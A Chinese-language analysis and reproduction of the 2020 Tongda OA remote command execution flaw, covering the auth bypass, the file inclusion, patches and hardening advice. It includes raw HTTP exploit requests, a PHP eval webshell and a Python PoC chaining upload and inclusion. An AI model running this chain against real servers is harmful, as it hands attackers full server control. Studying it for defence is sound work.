通达oa远程命令执行
字数 1199 2025-08-15 21:31:15
通达OA远程命令执行漏洞分析与复现
漏洞概述
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件。2020年3月,通达OA曝出存在远程命令执行漏洞,攻击者可通过构造恶意请求上传webshell等恶意文件,进而控制服务器进行文件加密勒索等操作。
影响版本
该漏洞影响范围较广,影响的版本包括:
- V11版
- 2017版
- 2016版
- 2015版
- 2013增强版
- 2013版
漏洞复现环境
使用通达OA V11.3版本进行复现
漏洞分析
1. 文件上传漏洞
漏洞位于ispirit/im/upload.php文件中:
-
认证绕过:
- 正常情况下需要通过
auth.php进行登录验证 - 但在未修复的
upload.php中,如果$P参数非空,则跳过auth.php的验证
- 正常情况下需要通过
-
文件上传限制:
- 系统使用
is_uploadable函数校验文件名 - 该函数检查文件名是否以"php"结尾,如果是则返回false禁止上传
- 这意味着可以上传其他扩展名的文件,如
.phtml、.php5等
- 系统使用
-
上传路径:
- 上传后的文件默认存放在
MYOA/attach/im/2006/目录下 - 由于不在web根目录,无法直接访问,需要结合文件包含漏洞利用
- 上传后的文件默认存放在
2. 文件包含漏洞
漏洞位于ispirit/interface/gateway.php文件中:
- 通过
foreach循环解析JSON数据 - 如果键与URL重合,则获取URL值
- 判断URL是否为空且包含
general/、ispirit/或module/路径 - 满足条件则调用
include_once函数包含该URL指向的文件
漏洞利用步骤
1. 文件上传
构造上传请求包,绕过认证和文件扩展名限制:
POST /ispirit/im/upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="P"; value="1"
1
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="FILE"; filename="shell.phtml"
Content-Type: image/jpeg
<?php eval($_POST['cmd']); ?>
------WebKitFormBoundaryxxxx--
2. 文件包含
利用文件包含漏洞执行上传的webshell:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2006/shell.phtml"}
3. 获取Webshell
通过中国菜刀等工具连接webshell,获取服务器控制权限。
加固建议
通达官方已发布补丁修复此漏洞:
-
文件上传漏洞修复:
- 无论
$P参数是否为空,都强制进行认证
- 无论
-
文件包含漏洞修复:
- 过滤URL中的".."路径跳转符号
- 如果检测到".."则终止程序执行
最新补丁下载地址:
http://www.tongda2000.com/news/673.php
防护措施
- 及时升级到最新版本并安装官方补丁
- 限制上传文件类型,仅允许业务必需的文件格式
- 对上传文件进行重命名和内容检查
- 禁用危险函数如
include_once、eval等 - 设置文件目录不可执行权限
- 部署WAF防护设备拦截恶意请求
参考POC代码
import requests
target = "http://target.com"
upload_url = target + "/ispirit/im/upload.php"
gateway_url = target + "/ispirit/interface/gateway.php"
# 上传webshell
files = {'FILE': ('shell.phtml', '<?php eval($_POST["cmd"]);?>', 'image/jpeg')}
data = {'P': '1'}
r = requests.post(upload_url, files=files, data=data)
print(r.text)
# 包含执行webshell
payload = {'json': '{"url":"/general/../../attach/im/2006/shell.phtml"}'}
r = requests.post(gateway_url, data=payload)
print(r.text)
总结
该漏洞组合了文件上传和文件包含两个漏洞点,攻击者可利用此漏洞完全控制OA系统服务器。建议所有使用通达OA的用户立即检查系统版本并安装最新补丁,同时加强服务器安全防护措施。